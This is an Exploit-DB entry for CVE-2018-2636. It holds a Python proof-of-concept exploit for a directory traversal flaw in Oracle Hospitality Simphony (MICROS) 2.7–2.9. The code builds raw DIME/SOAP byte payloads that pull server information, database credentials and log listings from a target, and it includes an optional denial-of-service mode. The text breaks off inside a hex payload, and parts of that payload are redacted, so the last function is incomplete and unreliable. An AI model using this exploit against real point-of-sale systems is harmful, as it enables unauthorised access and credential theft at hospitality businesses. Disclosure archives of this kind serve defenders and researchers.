Exploit-DB #43960
Description: Oracle Hospitality Simphony (MICROS) 2.7 < 2.9 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2018-02-02
Author: Dmitry Chastuhin

Exploit:
# Exploit Title: Oracle Hospitality Simphony (MICROS) directory traversal 
# Date: 30.01.2018
# Exploit Author: Dmitry Chastuhin (https://twitter.com/_chipik)
# Vendor Homepage: http://www.oracle.com/
# Version: 2.7, 2.8 and 2.9
# Tested on: Win, nix
# CVE : CVE-2018-2636


#!/usr/bin/env python

# https://twitter.com/_chipik
# Sorry for bad code practises. This is just a PoC, don't blame us very hard ¯\_(ツ)_/¯
import requests
import argparse
import unicodedata


def rm_right(str):
    rez=""
    k=0
    for i in range(len(str)):
        rez = rez + str[k:k+2]
        k=k+4
    return rez


def add_right(str,char):
    rez=""
    k=0
    for i in range(len(str)/2):
        rez= rez + str[k:k+2]+char
        k=k+2
    return rez


def rm_left(str):
    rez=""
    k=2
    for i in range(len(str)):
        rez = rez + str[k:k+2]
        k=k+4
    return rez


def add_left(str,char):
    rez=""
    k=0
    for i in range(len(str)/2):
        rez= rez + char + str[k:k+2]
        k=k+2
    return rez


def send(data,dos=0):
    if args.verb:
        print "[DBG] \n"+data.encode("hex")
    if dos:
        try:
            r = requests.post(base_uri, headers=headers, data=data, timeout=0.001)
        except:
            return
    else:
        r = requests.post(base_uri, headers=headers, data=data)
    if r.status_code == 200:
        if args.verb:
            print "[DBG] HEX:"
            print unicodedata.normalize('NFKD', r.text).encode('ascii','ignore').encode("hex")
            print "\n[DBG] RAW:\n"+r.text
        print ""
        return unicodedata.normalize('NFKD', r.text).encode('ascii','ignore')
    else:
        print "[DBG] status code: %d" % r.status_code
        print "[DBG] text       : %s" % repr(r.text)


def calculate_len(filename):
    len2 = (len(filename)+8)/2
    len1 = len2 + 8
    len0 = len1 + 124
    if args.verb:
        print "len2="+str('{0:02x}'.format(len2))
        print "len1="+str('{0:02x}'.format(len1))
        print "len0="+str('{0:04x}'.format(len0))
    return str('{0:04x}'.format(len0)),str('{0:02x}'.format(len1)),str('{0:02x}'.format(len2))


def cli_info():
    print "[*] Let's get info about server"
    poc_pref='\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00'
    poc_body='<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soap:Body><ProcessDimeRequest xmlns=\"http://micros-hosting.com/EGateway/\" /></soap:Body></soap:Envelope>'
    poc_suf1='\x0a\x10\x00\x00\x00\x10\x00\x18\x00\x00\x00\x84\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x01\xe1\x1e\x02\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x53\x00\x49\x00\x2d\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x69\x00\x74\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x3d\x00\x22\x00\x32\x00\x22\x00\x20\x00\x2f\x00\x3e\x00\x58\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1d\xb8\x58\x00\x00\xb1\x36\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02'
    poc = poc_pref+poc_body+poc_suf1
    full_rez = send(poc)
    return full_rez


def cli_dbinfo():
    print "[*] Let's get DB creds"
    poc_pref='\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00'
    poc_body='<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soap:Body><ProcessDimeRequest xmlns=\"http://micros-hosting.com/EGateway/\" /></soap:Body></soap:Envelope>'
    poc_suf1='\x0a\x10\x00\x00\x00\x10\x00\x18\x00\x00\x00\xa0\x73\x71\x33\x49\x71\x35\x50\x54\x74\x66\x32\x6b\x42\x73\x53\x48\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x01\xe1\x1e\x02\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x53\x00\x49\x00\x2d\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x69\x00\x74\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x3d\x00\x22\x00\x32\x00\x22\x00\x20\x00\x2f\x00\x3e\x00\xbd\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1d\x88\x96\x00\x00\x35\x53\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x24\x00\x00\x00\x0d\x00\x44\x62\x49\x6e\x66\x6f\x52\x65\x71\x75\x65\x73\x74\x01\x00\x00\x00\x01\x00\x06\x00\x6d\x53\x70\x61\x72\x65\x08\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02'
    poc = poc_pref+poc_body+poc_suf1
    full_rez = send(poc)
    return full_rez


def cli_log_list():
    print "[*] Let's get log list"
    poc = "0c[PII_REDACTED][PII_REDACTED][PII_REDACTED]506e[PII_REDACTED][PII_REDACTED]687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f0000003c3f786d6c[PII_REDACTED]696f6e3d22312e302220656e636f64696e673d227574662d38223f3e3c736f61703a456e76656c6f706520786d6c6e733a736f61703d[PII_REDACTED]3a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a7873693d[PII_REDACTED]3a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e[PII_REDACTED]6d6c6e733a7873643d[PII_REDACTED]3a2f2f7777772e77332e6f72672f3